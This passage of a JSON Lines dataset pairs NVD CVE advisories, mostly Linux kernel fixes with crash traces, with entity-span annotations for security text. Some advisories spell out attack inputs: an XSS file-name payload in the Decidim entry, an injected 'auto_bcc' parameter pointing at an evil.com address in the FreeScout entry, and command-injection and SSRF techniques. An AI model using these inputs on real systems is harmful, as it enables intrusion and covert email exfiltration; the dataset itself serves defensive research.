inode<12> and trigger UAF\n\nTo solve this issue, we need to propagate the return value of\next4_inode_attach_jinode() appropriately.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[79, 93], [227, 241]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50673"}}
{"text": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.7.0 to 2.7.1,  A command injection vulnerability exists in Deno's node:child_process polyfill (shell: true mode) that bypasses the fix for CVE-2026-27190. The two-stage argument sanitization in transformDenoShellCommand (ext/node/polyfills/internal/child_process.ts) has a priority bug: when an argument contains a $VAR pattern, it is wrapped in double quotes (L1290) instead of single quotes. Double quotes in POSIX sh do not suppress backtick command substitution, allowing injected commands to execute. An attacker who controls arguments passed to spawnSync or spawn with shell: true can execute arbitrary OS commands, bypassing Deno's permission system. This vulnerability is fixed in 2.7.2.", "spans": {"CVE_ID: CVE-2026-27190": [[205, 219]], "FILEPATH: /node/polyfills/internal/child_process.ts": [[290, 331]], "VULNERABILITY: command injection": [[83, 100]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32260"}}
{"text": "CodeIgniter4 is the 4.x branch of CodeIgniter, a PHP full-stack web framework. A vulnerability in versions prior to 4.1.9 might allow remote attackers to bypass the CodeIgniter4 Cross-Site Request Forgery (CSRF) protection mechanism. Users should upgrade to version 4.1.9. There are workarounds for this vulnerability, but users will still need to code as these after upgrading to v4.1.9. Otherwise, the CSRF protection may be bypassed. If auto-routing is enabled, check the request method in the controller method before processing. If auto-routing is disabled, either avoid using `$routes->add()` and instead use HTTP verbs in routes; or check the request method in the controller method before processing.", "spans": {"SYSTEM: PHP": [[49, 52]], "VULNERABILITY: Cross-Site Request Forgery": [[178, 204]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24712"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: Add missing bridge lock to pci_bus_lock()\n\nOne of the true positives that the cfg_access_lock lockdep effort\nidentified is this sequence:\n\n  WARNING: CPU: 14 PID: 1 at drivers/pci/pci.c:4886 pci_bridge_secondary_bus_reset+0x5d/0x70\n  RIP: 0010:pci_bridge_secondary_bus_reset+0x5d/0x70\n  Call Trace:\n   <TASK>\n   ? __warn+0x8c/0x190\n   ? pci_bridge_secondary_bus_reset+0x5d/0x70\n   ? report_bug+0x1f8/0x200\n   ? handle_bug+0x3c/0x70\n   ? exc_invalid_op+0x18/0x70\n   ? asm_exc_invalid_op+0x1a/0x20\n   ? pci_bridge_secondary_bus_reset+0x5d/0x70\n   pci_reset_bus+0x1d8/0x270\n   vmd_probe+0x778/0xa10\n   pci_device_probe+0x95/0x120\n\nWhere pci_reset_bus() users are triggering unlocked secondary bus resets.\nIronically pci_bus_reset(), several calls down from pci_reset_bus(), uses\npci_bus_lock() before issuing the reset which locks everything *but* the\nbridge itself.\n\nFor the same motivation as adding:\n\n  bridge = pci_upstream_bridge(dev);\n  if (bridge)\n    pci_dev_lock(bridge);\n\nto pci_reset_function() for the \"bus\" and \"cxl_bus\" reset cases, add\npci_dev_lock() for @bus->self to pci_bus_lock().\n\n[bhelgaas: squash in recursive locking deadlock fix from Keith Busch:\nhttps://lore.kernel.org/r/20240711193650.701834-1-kbusch@meta.com]", "spans": {"URL: https://lore.kernel.org/r/20240711193650.701834-1-kbusch@meta.com]": [[1242, 1308]], "FILEPATH: /pci/pci.c": [[249, 259]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46750"}}
{"text": "Decidim is a participatory democracy framework. Starting in version 0.27.0 and prior to versions 0.27.5 and 0.28.0, the dynamic file upload feature is subject to potential cross-site scripting attacks in case the attacker manages to modify the file names of the records being uploaded to the server. This appears in sections where the user controls the file upload dialogs themselves and has the technical knowledge to change the file names through the dynamic upload endpoint. Therefore I believe it would require the attacker to control the whole session of the particular user but in any case, this needs to be fixed. Successful exploit of this vulnerability would require the user to have successfully uploaded a file blob to the server with a malicious file name and then have the possibility to direct the other user to the edit page of the record where the attachment is attached. The users are able to craft the direct upload requests themselves controlling the file name that gets stored to the database. The attacker is able to change the filename e.g. to `<svg onload=alert('XSS')>` if they know how to craft these requests themselves. And then enter the returned blob ID to the form inputs manually by modifying the edit page source. Versions 0.27.5 and 0.28.0 contain a patch for this issue. As a workaround, disable dynamic uploads for the instance, e.g. from proposals.", "spans": {"VULNERABILITY: cross-site scripting": [[172, 192]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-51447"}}
{"text": "The Advanced Contact form 7 DB WordPress plugin before 1.8.7 does not have authorisation nor CSRF checks in the acf7_db_edit_scr_file_delete AJAX action, and does not validate the file to be deleted, allowing any authenticated user to delete arbitrary files on the web server. For example, removing the wp-config.php allows attackers to trigger WordPress setup again, gain administrator privileges and execute arbitrary code or display arbitrary content to the users.", "spans": {"FILEPATH: config.php": [[306, 316]], "SYSTEM: WordPress": [[31, 40], [345, 354]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-24905"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/tilcdc: Fix removal actions in case of failed probe\n\nThe drm_kms_helper_poll_fini() and drm_atomic_helper_shutdown() helpers\nshould only be called when the device has been successfully registered.\nCurrently, these functions are called unconditionally in tilcdc_fini(),\nwhich causes warnings during probe deferral scenarios.\n\n[    7.972317] WARNING: CPU: 0 PID: 23 at drivers/gpu/drm/drm_atomic_state_helper.c:175 drm_atomic_helper_crtc_duplicate_state+0x60/0x68\n...\n[    8.005820]  drm_atomic_helper_crtc_duplicate_state from drm_atomic_get_crtc_state+0x68/0x108\n[    8.005858]  drm_atomic_get_crtc_state from drm_atomic_helper_disable_all+0x90/0x1c8\n[    8.005885]  drm_atomic_helper_disable_all from drm_atomic_helper_shutdown+0x90/0x144\n[    8.005911]  drm_atomic_helper_shutdown from tilcdc_fini+0x68/0xf8 [tilcdc]\n[    8.005957]  tilcdc_fini [tilcdc] from tilcdc_pdev_probe+0xb0/0x6d4 [tilcdc]\n\nFix this by rewriting the failed probe cleanup path using the standard\ngoto error handling pattern, which ensures that cleanup functions are\nonly called on successfully initialized resources. Additionally, remove\nthe now-unnecessary is_registered flag.", "spans": {"FILEPATH: /gpu/drm/drm_atomic_state_helper.c": [[447, 481]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71141"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narp: Prevent overflow in arp_req_get().\n\nsyzkaller reported an overflown write in arp_req_get(). [0]\n\nWhen ioctl(SIOCGARP) is issued, arp_req_get() looks up an neighbour\nentry and copies neigh->ha to struct arpreq.arp_ha.sa_data.\n\nThe arp_ha here is struct sockaddr, not struct sockaddr_storage, so\nthe sa_data buffer is just 14 bytes.\n\nIn the splat below, 2 bytes are overflown to the next int field,\narp_flags.  We initialise the field just after the memcpy(), so it's\nnot a problem.\n\nHowever, when dev->addr_len is greater than 22 (e.g. MAX_ADDR_LEN),\narp_netmask is overwritten, which could be set as htonl(0xFFFFFFFFUL)\nin arp_ioctl() before calling arp_req_get().\n\nTo avoid the overflow, let's limit the max length of memcpy().\n\nNote that commit b5f0de6df6dc (\"net: dev: Convert sa_data to flexible\narray in struct sockaddr\") just silenced syzkaller.\n\n[0]:\nmemcpy: detected field-spanning write (size 16) of single field \"r->arp_ha.sa_data\" at net/ipv4/arp.c:1128 (size 14)\nWARNING: CPU: 0 PID: 144638 at net/ipv4/arp.c:1128 arp_req_get+0x411/0x4a0 net/ipv4/arp.c:1128\nModules linked in:\nCPU: 0 PID: 144638 Comm: syz-executor.4 Not tainted 6.1.74 #31\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-5 04/01/2014\nRIP: 0010:arp_req_get+0x411/0x4a0 net/ipv4/arp.c:1128\nCode: fd ff ff e8 41 42 de fb b9 0e 00 00 00 4c 89 fe 48 c7 c2 20 6d ab 87 48 c7 c7 80 6d ab 87 c6 05 25 af 72 04 01 e8 5f 8d ad fb <0f> 0b e9 6c fd ff ff e8 13 42 de fb be 03 00 00 00 4c 89 e7 e8 a6\nRSP: 0018:ffffc900050b7998 EFLAGS: 00010286\nRAX: 0000000000000000 RBX: ffff88803a815000 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: ffffffff8641a44a RDI: 0000000000000001\nRBP: ffffc900050b7a98 R08: 0000000000000001 R09: 0000000000000000\nR10: 0000000000000000 R11: 203a7970636d656d R12: ffff888039c54000\nR13: 1ffff92000a16f37 R14: ffff88803a815084 R15: 0000000000000010\nFS:  00007f172bf306c0(0000) GS:ffff88805aa00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f172b3569f0 CR3: 0000000057f12005 CR4: 0000000000770ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n <TASK>\n arp_ioctl+0x33f/0x4b0 net/ipv4/arp.c:1261\n inet_ioctl+0x314/0x3a0 net/ipv4/af_inet.c:981\n sock_do_ioctl+0xdf/0x260 net/socket.c:1204\n sock_ioctl+0x3ef/0x650 net/socket.c:1321\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:870 [inline]\n __se_sys_ioctl fs/ioctl.c:856 [inline]\n __x64_sys_ioctl+0x18e/0x220 fs/ioctl.c:856\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x37/0x90 arch/x86/entry/common.c:81\n entry_SYSCALL_64_after_hwframe+0x64/0xce\nRIP: 0033:0x7f172b262b8d\nCode: 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f172bf300b8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007f172b3abf80 RCX: 00007f172b262b8d\nRDX: 0000000020000000 RSI: 0000000000008954 RDI: 0000000000000003\nRBP: 00007f172b2d3493 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 000000000000000b R14: 00007f172b3abf80 R15: 00007f172bf10000\n </TASK>", "spans": {"FILEPATH: /ipv4/arp.c": [[1022, 1033], [1083, 1094], [1127, 1138], [1357, 1368], [2334, 2345]], "FILEPATH: /01/2014": [[1311, 1319]], "FILEPATH: /ipv4/af_inet.c": [[2378, 2393]], "FILEPATH: /x86/entry/common.c": [[2662, 2681], [2723, 2742]], "FILEPATH: socket.c": [[2428, 2436], [2470, 2478]], "FILEPATH: ioctl.c": [[2498, 2505], [2537, 2544], [2577, 2584], [2630, 2637]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1241, 1245]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26733"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_list_accounts.php. When parsing the username parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9736.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_list_accounts.php": [[228, 250]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15430"}}
{"text": "A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to extract sensitive environment variables from the instance through a timing side-channel attack against the notebook rendering service. When private mode was disabled, the notebook viewer followed HTTP redirects without revalidating the destination host, enabling an unauthenticated SSRF to internal services. By chaining this with regex filter queries against an internal API and measuring response time differences, an attacker could infer secret values character by character. Exploitation required that private mode be disabled and that the attacker be able to chain the instance's open redirect endpoint through an external redirect to reach internal services. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.14.26, 3.15.21, 3.16.17, 3.17.14, 3.18.8, 3.19.5, and 3.20.1. This vulnerability was reported via the GitHub Bug Bounty program.", "spans": {"ORGANIZATION: GitHub": [[69, 75], [831, 837], [1000, 1006]], "VULNERABILITY: server-side request forgery": [[2, 29]], "VULNERABILITY: open redirect": [[707, 720]], "VULNERABILITY: SSRF": [[31, 35], [404, 408]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-5921"}}
{"text": "Wasmtime is an open source runtime for WebAssembly & WASI. Wasmtime before version 0.30.0 is affected by a type confusion vulnerability. As a Rust library the `wasmtime` crate clearly marks which functions are safe and which are `unsafe`, guaranteeing that if consumers never use `unsafe` then it should not be possible to have memory unsafety issues in their embeddings of Wasmtime. An issue was discovered in the safe API of `Linker::func_*` APIs. These APIs were previously not sound when one `Engine` was used to create the `Linker` and then a different `Engine` was used to create a `Store` and then the `Linker` was used to instantiate a module into that `Store`. Cross-`Engine` usage of functions is not supported in Wasmtime and this can result in type confusion of function pointers, resulting in being able to safely call a function with the wrong type. Triggering this bug requires using at least two `Engine` values in an embedding and then additionally using two different values with a `Linker` (one at the creation time of the `Linker` and another when instantiating a module with the `Linker`). It's expected that usage of more-than-one `Engine` in an embedding is relatively rare since an `Engine` is intended to be a globally shared resource, so the expectation is that the impact of this issue is relatively small. The fix implemented is to change this behavior to `panic!()` in Rust instead of silently allowing it. Using different `Engine` instances with a `Linker` is a programmer bug that `wasmtime` catches at runtime. This bug has been patched and users should upgrade to Wasmtime version 0.30.0. If you cannot upgrade Wasmtime and are using more than one `Engine` in your embedding it's recommended to instead use only one `Engine` for the entire program if possible. An `Engine` is designed to be a globally shared resource that is suitable to have only one for the lifetime of an entire process. If using multiple `Engine`s is required then code should be audited to ensure that `Linker` is only used with one `Engine`.", "spans": {"VULNERABILITY: type confusion": [[107, 121], [756, 770]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39219"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: Unregister notifier on eswitch init failure\n\nIt otherwise remains registered and a subsequent attempt at eswitch\nenabling might trigger warnings of the sort:\n\n[  682.589148] ------------[ cut here ]------------\n[  682.590204] notifier callback eswitch_vport_event [mlx5_core] already registered\n[  682.590256] WARNING: CPU: 13 PID: 2660 at kernel/notifier.c:31 notifier_chain_register+0x3e/0x90\n[...snipped]\n[  682.610052] Call Trace:\n[  682.610369]  <TASK>\n[  682.610663]  ? __warn+0x7c/0x110\n[  682.611050]  ? notifier_chain_register+0x3e/0x90\n[  682.611556]  ? report_bug+0x148/0x170\n[  682.611977]  ? handle_bug+0x36/0x70\n[  682.612384]  ? exc_invalid_op+0x13/0x60\n[  682.612817]  ? asm_exc_invalid_op+0x16/0x20\n[  682.613284]  ? notifier_chain_register+0x3e/0x90\n[  682.613789]  atomic_notifier_chain_register+0x25/0x40\n[  682.614322]  mlx5_eswitch_enable_locked+0x1d4/0x3b0 [mlx5_core]\n[  682.614965]  mlx5_eswitch_enable+0xc9/0x100 [mlx5_core]\n[  682.615551]  mlx5_device_enable_sriov+0x25/0x340 [mlx5_core]\n[  682.616170]  mlx5_core_sriov_configure+0x50/0x170 [mlx5_core]\n[  682.616789]  sriov_numvfs_store+0xb0/0x1b0\n[  682.617248]  kernfs_fop_write_iter+0x117/0x1a0\n[  682.617734]  vfs_write+0x231/0x3f0\n[  682.618138]  ksys_write+0x63/0xe0\n[  682.618536]  do_syscall_64+0x4c/0x100\n[  682.618958]  entry_SYSCALL_64_after_hwframe+0x4b/0x53", "spans": {"FILEPATH: notifier.c": [[426, 436]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50136"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nubifs: rename_whiteout: Fix double free for whiteout_ui->data\n\n'whiteout_ui->data' will be freed twice if space budget fail for\nrename whiteout operation as following process:\n\nrename_whiteout\n  dev = kmalloc\n  whiteout_ui->data = dev\n  kfree(whiteout_ui->data)  // Free first time\n  iput(whiteout)\n    ubifs_free_inode\n      kfree(ui->data)\t    // Double free!\n\nKASAN reports:\n==================================================================\nBUG: KASAN: double-free or invalid-free in ubifs_free_inode+0x4f/0x70\nCall Trace:\n  kfree+0x117/0x490\n  ubifs_free_inode+0x4f/0x70 [ubifs]\n  i_callback+0x30/0x60\n  rcu_do_batch+0x366/0xac0\n  __do_softirq+0x133/0x57f\n\nAllocated by task 1506:\n  kmem_cache_alloc_trace+0x3c2/0x7a0\n  do_rename+0x9b7/0x1150 [ubifs]\n  ubifs_rename+0x106/0x1f0 [ubifs]\n  do_syscall_64+0x35/0x80\n\nFreed by task 1506:\n  kfree+0x117/0x490\n  do_rename.cold+0x53/0x8a [ubifs]\n  ubifs_rename+0x106/0x1f0 [ubifs]\n  do_syscall_64+0x35/0x80\n\nThe buggy address belongs to the object at ffff88810238bed8 which\nbelongs to the cache kmalloc-8 of size 8\n==================================================================\n\nLet ubifs_free_inode() free 'whiteout_ui->data'. BTW, delete unused\nassignment 'whiteout_ui->data_len = 0', process 'ubifs_evict_inode()\n-> ubifs_jnl_delete_inode() -> ubifs_jnl_write_inode()' doesn't need it\n(because 'inc_nlink(whiteout)' won't be excuted by 'goto out_release',\n and the nlink of whiteout inode is 0).", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: double free": [[97, 108]], "VULNERABILITY: Double free": [[418, 429]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47638"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm-raid456, md/raid456: fix a deadlock for dm-raid456 while io concurrent with reshape\n\nFor raid456, if reshape is still in progress, then IO across reshape\nposition will wait for reshape to make progress. However, for dm-raid,\nin following cases reshape will never make progress hence IO will hang:\n\n1) the array is read-only;\n2) MD_RECOVERY_WAIT is set;\n3) MD_RECOVERY_FROZEN is set;\n\nAfter commit c467e97f079f (\"md/raid6: use valid sector values to determine\nif an I/O should wait on the reshape\") fix the problem that IO across\nreshape position doesn't wait for reshape, the dm-raid test\nshell/lvconvert-raid-reshape.sh start to hang:\n\n[root@fedora ~]# cat /proc/979/stack\n[<0>] wait_woken+0x7d/0x90\n[<0>] raid5_make_request+0x929/0x1d70 [raid456]\n[<0>] md_handle_request+0xc2/0x3b0 [md_mod]\n[<0>] raid_map+0x2c/0x50 [dm_raid]\n[<0>] __map_bio+0x251/0x380 [dm_mod]\n[<0>] dm_submit_bio+0x1f0/0x760 [dm_mod]\n[<0>] __submit_bio+0xc2/0x1c0\n[<0>] submit_bio_noacct_nocheck+0x17f/0x450\n[<0>] submit_bio_noacct+0x2bc/0x780\n[<0>] submit_bio+0x70/0xc0\n[<0>] mpage_readahead+0x169/0x1f0\n[<0>] blkdev_readahead+0x18/0x30\n[<0>] read_pages+0x7c/0x3b0\n[<0>] page_cache_ra_unbounded+0x1ab/0x280\n[<0>] force_page_cache_ra+0x9e/0x130\n[<0>] page_cache_sync_ra+0x3b/0x110\n[<0>] filemap_get_pages+0x143/0xa30\n[<0>] filemap_read+0xdc/0x4b0\n[<0>] blkdev_read_iter+0x75/0x200\n[<0>] vfs_read+0x272/0x460\n[<0>] ksys_read+0x7a/0x170\n[<0>] __x64_sys_read+0x1c/0x30\n[<0>] do_syscall_64+0xc6/0x230\n[<0>] entry_SYSCALL_64_after_hwframe+0x6c/0x74\n\nThis is because reshape can't make progress.\n\nFor md/raid, the problem doesn't exist because register new sync_thread\ndoesn't rely on the IO to be done any more:\n\n1) If array is read-only, it can switch to read-write by ioctl/sysfs;\n2) md/raid never set MD_RECOVERY_WAIT;\n3) If MD_RECOVERY_FROZEN is set, mddev_suspend() doesn't hold\n   'reconfig_mutex', hence it can be cleared and reshape can continue by\n   sysfs api 'sync_action'.\n\nHowever, I'm not sure yet how to avoid the problem in dm-raid yet. This\npatch on the one hand make sure raid_message() can't change\nsync_thread() through raid_message() after presuspend(), on the other\nhand detect the above 3 cases before wait for IO do be done in\ndm_suspend(), and let dm-raid requeue those IO.", "spans": {"FILEPATH: /proc/979/stack": [[730, 745]], "FILEPATH: reshape.sh": [[682, 692]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26962"}}
{"text": "Missing Authentication for Critical Function vulnerability in Honeywell Handheld Scanners allows Authentication Abuse.This issue affects Handheld Scanners: from C1 Base(Ingenic x1000) before GK000432BAA, from D1 Base(Ingenic x1600) before HE000085BAA, from A1/B1 Base(IMX25) before BK000763BAA_BK000765BAA_CU000101BAA.\n\nThis vulnerability could allow a remote attacker within Bluetooth range of the scanner's base station has the capability to remotely execute system commands on the host connected to the base station without authentication. This issue has been assigned  CVE-2026-4272 https://nvd.nist.gov/vuln/detail/CVE-2026-4272  and rated with a severity of High. Honeywell strongly recommends that users upgrade to the latest version identified to resolve the vulnerability.", "spans": {"CVE_ID: CVE-2026-4272": [[573, 586], [620, 633]], "DOMAIN: nvd.nist.gov": [[595, 607]], "ORGANIZATION: Honeywell": [[62, 71], [670, 679]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4272"}}
{"text": "FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398). Both methods pass `$request->all()` directly to `$mailbox->fill()` without any field allowlisting, allowing an authenticated admin to overwrite any of the 32 fields in the Mailbox model's `$fillable` array -- including security-critical fields that do not belong to the connection settings form, such as `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled`, and `auto_reply_message`. Validation in `connectionIncomingSave()` is entirely commented out, and the validator in `connectionOutgoingSave()` only checks value formats for SMTP fields without stripping extra parameters. An authenticated admin user can exploit this by appending hidden parameters (e.g., `auto_bcc=attacker@evil.com`) to a legitimate connection settings save request. Because the `auto_bcc` field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection is invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the `SendReplyToCustomer` job. The same mechanism allows redirecting outgoing SMTP through an attacker-controlled server, injecting tracking pixels or phishing links into email signatures, and enabling attacker-crafted auto-replies -- all from a single HTTP request. This is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others, and when an admin session is compromised via a separate vulnerability (e.g., XSS), the attacker gains persistent email exfiltration that survives session expiry. Version 1.8.213 fixes the issue.", "spans": {"DOMAIN: evil.com": [[1013, 1021]], "FILEPATH: /Http/Controllers/MailboxesController.php": [[218, 259]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40569"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: dwc2: fix a devres leak in hw_enable upon suspend resume\n\nEach time the platform goes to low power, PM suspend / resume routines\ncall: __dwc2_lowlevel_hw_enable -> devm_add_action_or_reset().\nThis adds a new devres each time.\nThis may also happen at runtime, as dwc2_lowlevel_hw_enable() can be\ncalled from udc_start().\n\nThis can be seen with tracing:\n- echo 1 > /sys/kernel/debug/tracing/events/dev/devres_log/enable\n- go to low power\n- cat /sys/kernel/debug/tracing/trace\n\nA new \"ADD\" entry is found upon each low power cycle:\n... devres_log: 49000000.usb-otg ADD 82a13bba devm_action_release (8 bytes)\n... devres_log: 49000000.usb-otg ADD 49889daf devm_action_release (8 bytes)\n...\n\nA second issue is addressed here:\n- regulator_bulk_enable() is called upon each PM cycle (suspend/resume).\n- regulator_bulk_disable() never gets called.\n\nSo the reference count for these regulators constantly increase, by one\nupon each low power cycle, due to missing regulator_bulk_disable() call\nin __dwc2_lowlevel_hw_disable().\n\nThe original fix that introduced the devm_add_action_or_reset() call,\nfixed an issue during probe, that happens due to other errors in\ndwc2_driver_probe() -> dwc2_core_reset(). Then the probe fails without\ndisabling regulators, when dr_mode == USB_DR_MODE_PERIPHERAL.\n\nRather fix the error path: disable all the low level hardware in the\nerror path, by using the \"hsotg->ll_hw_enabled\" flag. Checking dr_mode\nhas been introduced to avoid a dual call to dwc2_lowlevel_hw_disable().\n\"ll_hw_enabled\" should achieve the same (and is used currently in the\nremove() routine).", "spans": {"FILEPATH: /sys/kernel/debug/tracing/events/dev/devres_log/enable": [[437, 491]], "FILEPATH: /sys/kernel/debug/tracing/trace": [[516, 547]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53054"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nerspan: Initialize options_len before referencing options.\n\nThe struct ip_tunnel_info has a flexible array member named\noptions that is protected by a counted_by(options_len)\nattribute.\n\nThe compiler will use this information to enforce runtime bounds\nchecking deployed by FORTIFY_SOURCE string helpers.\n\nAs laid out in the GCC documentation, the counter must be\ninitialized before the first reference to the flexible array\nmember.\n\nAfter scanning through the files that use struct ip_tunnel_info\nand also refer to options or options_len, it appears the normal\ncase is to use the ip_tunnel_info_opts_set() helper.\n\nSaid helper would initialize options_len properly before copying\ndata into options, however in the GRE ERSPAN code a partial\nupdate is done, preventing the use of the helper function.\n\nBefore this change the handling of ERSPAN traffic in GRE tunnels\nwould cause a kernel panic when the kernel is compiled with\nGCC 15+ and having FORTIFY_SOURCE configured:\n\nmemcpy: detected buffer overflow: 4 byte write of buffer size 0\n\nCall Trace:\n <IRQ>\n __fortify_panic+0xd/0xf\n erspan_rcv.cold+0x68/0x83\n ? ip_route_input_slow+0x816/0x9d0\n gre_rcv+0x1b2/0x1c0\n gre_rcv+0x8e/0x100\n ? raw_v4_input+0x2a0/0x2b0\n ip_protocol_deliver_rcu+0x1ea/0x210\n ip_local_deliver_finish+0x86/0x110\n ip_local_deliver+0x65/0x110\n ? ip_rcv_finish_core+0xd6/0x360\n ip_rcv+0x186/0x1a0\n\nReported-at: https://launchpad.net/bugs/2129580", "spans": {"URL: https://launchpad.net/bugs/2129580": [[1450, 1484]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: buffer overflow": [[1058, 1073]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71128"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/erofs/fileio: call erofs_onlinefolio_split() after bio_add_folio()\n\nIf bio_add_folio() fails (because it is full),\nerofs_fileio_scan_folio() needs to submit the I/O request via\nerofs_fileio_rq_submit() and allocate a new I/O request with an empty\n`struct bio`.  Then it retries the bio_add_folio() call.\n\nHowever, at this point, erofs_onlinefolio_split() has already been\ncalled which increments `folio->private`; the retry will call\nerofs_onlinefolio_split() again, but there will never be a matching\nerofs_onlinefolio_end() call.  This leaves the folio locked forever\nand all waiters will be stuck in folio_wait_bit_common().\n\nThis bug has been added by commit ce63cb62d794 (\"erofs: support\nunencoded inodes for fileio\"), but was practically unreachable because\nthere was room for 256 folios in the `struct bio` - until commit\n9f74ae8c9ac9 (\"erofs: shorten bvecs[] for file-backed mounts\") which\nreduced the array capacity to 16 folios.\n\nIt was now trivial to trigger the bug by manually invoking readahead\nfrom userspace, e.g.:\n\n posix_fadvise(fd, 0, st.st_size, POSIX_FADV_WILLNEED);\n\nThis should be fixed by invoking erofs_onlinefolio_split() only after\nbio_add_folio() has succeeded.  This is safe: asynchronous completions\ninvoking erofs_onlinefolio_end() will not unlock the folio because\nerofs_fileio_scan_folio() is still holding a reference to be released\nby erofs_onlinefolio_end() at the end.", "spans": {"FILEPATH: /erofs/fileio": [[71, 84]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37999"}}
{"text": "Improper Handling of Exceptional Conditions in Ethernet interface frame processing of Juniper Networks Junos OS allows an attacker to send specially crafted frames over the local Ethernet segment, causing the interface to go into a down state, resulting in a Denial of Service (DoS) condition. The interface does not recover on its own and the FPC must be reset manually. Continued receipt and processing of these frames will create a sustained Denial of Service (DoS) condition. This issue is platform-specific and affects the following platforms and line cards: * MPC7E/8E/9E and MPC10E on MX240, MX480, MX960, MX2008, MX2010, and MX2020 * MX204, MX10003, MX10008, MX10016 * EX9200, EX9251 * SRX4600 No other products or platforms are affected by this vulnerability. An indication of this issue occurring can be seen in the system log messages, as shown below: user@host> show log messages | match \"Failed to complete DFE tuning\" fpc4 smic_phy_dfe_tuning_state: et-4/1/6 - Failed to complete DFE tuning (count 3) and interface will be in a permanently down state: user@host> show interfaces et-4/1/6 terse Interface Admin Link Proto Local Remote et-4/1/6 up down et-4/1/6.0 up down aenet --> ae101.0 This issue affects Juniper Networks Junos OS: 16.1 versions prior to 16.1R7-S7 on MX Series; 17.1R1 and later versions prior to 17.2R3-S3 on MX Series; 17.3 versions prior to 17.3R3-S8 on MX Series; 17.4 versions prior to 17.4R2-S11, 17.4R3-S1 on MX Series, SRX4600; 18.1 versions prior to 18.1R3-S10 on MX Series, EX9200 Series, SRX4600; 18.2 versions prior to 18.2R3-S3 on MX Series, EX9200 Series, SRX4600; 18.3 versions prior to 18.3R3-S1 on MX Series, EX9200 Series, SRX4600; 18.4 versions prior to 18.4R2-S3, 18.4R3 on MX Series, EX9200 Series, SRX4600; 19.1 versions prior to 19.1R2-S1, 19.1R3 on MX Series, EX9200 Series, SRX4600; 19.2 versions prior to 19.2R1-S3, 19.2R2 on MX Series, EX9200 Series, SRX4600; 19.3 versions prior to 19.3R2 on MX Series, EX9200 Series, SRX4600. This issue does not affect Juniper Networks Junos OS versions prior to 